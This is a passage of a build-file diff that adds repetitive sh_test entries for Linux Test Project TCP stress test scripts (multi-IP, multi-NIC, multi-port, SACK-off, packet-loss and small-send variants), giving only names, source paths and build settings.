+    name: "ltp_testcases_bin_tcp4-multi-diffip11",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip11",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffip11",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffip12",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip12",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffip12",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffip13",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip13",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffip13",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffip14",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip14",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffip14",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffnic01",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffnic01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffnic02",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffnic02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffnic03",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffnic03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffnic04",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffnic04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffnic05",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffnic05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffnic06",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffnic06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffnic07",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffnic07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffnic08",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic08",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffnic08",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffnic09",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic09",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffnic09",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffnic10",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic10",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffnic10",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffnic11",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic11",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffnic11",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffnic12",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic12",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffnic12",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffnic13",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic13",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffnic13",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffnic14",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic14",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffnic14",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffport01",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffport01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffport02",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffport02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffport03",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffport03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffport04",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffport04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffport05",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffport05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffport06",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffport06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffport07",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffport07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffport08",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport08",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffport08",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffport09",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport09",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffport09",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffport10",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport10",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffport10",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffport11",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport11",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffport11",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffport12",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport12",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffport12",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffport13",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport13",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffport13",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffport14",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport14",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffport14",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-sameport01",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-sameport01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-sameport02",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-sameport02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-sameport03",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-sameport03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-sameport04",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-sameport04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-sameport05",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-sameport05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-sameport06",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-sameport06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-sameport07",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-sameport07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-sameport08",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport08",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-sameport08",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-sameport09",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport09",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-sameport09",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-sameport10",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport10",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-sameport10",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-sameport11",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport11",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-sameport11",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-sameport12",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport12",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-sameport12",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-sameport13",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport13",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-sameport13",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-sameport14",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport14",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-sameport14",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-basic01",
+    src: "testcases/network/stress/tcp/uni-basic/tcp4-uni-basic01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-basic01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-basic02",
+    src: "testcases/network/stress/tcp/uni-basic/tcp4-uni-basic02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-basic02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-basic03",
+    src: "testcases/network/stress/tcp/uni-basic/tcp4-uni-basic03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-basic03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-basic04",
+    src: "testcases/network/stress/tcp/uni-basic/tcp4-uni-basic04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-basic04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-basic05",
+    src: "testcases/network/stress/tcp/uni-basic/tcp4-uni-basic05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-basic05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-basic06",
+    src: "testcases/network/stress/tcp/uni-basic/tcp4-uni-basic06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-basic06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-basic07",
+    src: "testcases/network/stress/tcp/uni-basic/tcp4-uni-basic07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-basic07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-basic08",
+    src: "testcases/network/stress/tcp/uni-basic/tcp4-uni-basic08",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-basic08",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-basic09",
+    src: "testcases/network/stress/tcp/uni-basic/tcp4-uni-basic09",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-basic09",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-basic10",
+    src: "testcases/network/stress/tcp/uni-basic/tcp4-uni-basic10",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-basic10",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-basic11",
+    src: "testcases/network/stress/tcp/uni-basic/tcp4-uni-basic11",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-basic11",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-basic12",
+    src: "testcases/network/stress/tcp/uni-basic/tcp4-uni-basic12",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-basic12",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-basic13",
+    src: "testcases/network/stress/tcp/uni-basic/tcp4-uni-basic13",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-basic13",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-basic14",
+    src: "testcases/network/stress/tcp/uni-basic/tcp4-uni-basic14",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-basic14",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-dsackoff01",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-dsackoff01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-dsackoff02",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-dsackoff02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-dsackoff03",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-dsackoff03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-dsackoff04",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-dsackoff04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-dsackoff05",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-dsackoff05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-dsackoff06",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-dsackoff06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-dsackoff07",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-dsackoff07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-dsackoff08",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff08",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-dsackoff08",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-dsackoff09",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff09",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-dsackoff09",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-dsackoff10",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff10",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-dsackoff10",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-dsackoff11",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff11",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-dsackoff11",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-dsackoff12",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff12",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-dsackoff12",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-dsackoff13",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff13",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-dsackoff13",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-dsackoff14",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff14",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-dsackoff14",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-pktlossdup01",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-pktlossdup01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-pktlossdup02",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-pktlossdup02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-pktlossdup03",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-pktlossdup03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-pktlossdup04",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-pktlossdup04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-pktlossdup05",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-pktlossdup05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-pktlossdup06",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-pktlossdup06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-pktlossdup07",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-pktlossdup07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-pktlossdup08",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup08",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-pktlossdup08",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-pktlossdup09",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup09",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-pktlossdup09",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-pktlossdup10",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup10",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-pktlossdup10",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-pktlossdup11",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup11",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-pktlossdup11",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-pktlossdup12",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup12",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-pktlossdup12",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-pktlossdup13",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup13",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-pktlossdup13",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-pktlossdup14",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup14",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-pktlossdup14",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-sackoff01",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-sackoff01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-sackoff02",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-sackoff02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-sackoff03",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-sackoff03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-sackoff04",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-sackoff04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-sackoff05",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-sackoff05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-sackoff06",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-sackoff06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-sackoff07",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-sackoff07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-sackoff08",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff08",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-sackoff08",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-sackoff09",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff09",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-sackoff09",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-sackoff10",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff10",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-sackoff10",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-sackoff11",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff11",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-sackoff11",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-sackoff12",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff12",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-sackoff12",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-sackoff13",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff13",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-sackoff13",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-sackoff14",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff14",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-sackoff14",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-smallsend01",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-smallsend01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-smallsend02",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-smallsend02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-smallsend03",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-smallsend03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-smallsend04",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-smallsend04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-smallsend05",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-smallsend05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-smallsend06",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-smallsend06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-smallsend07",
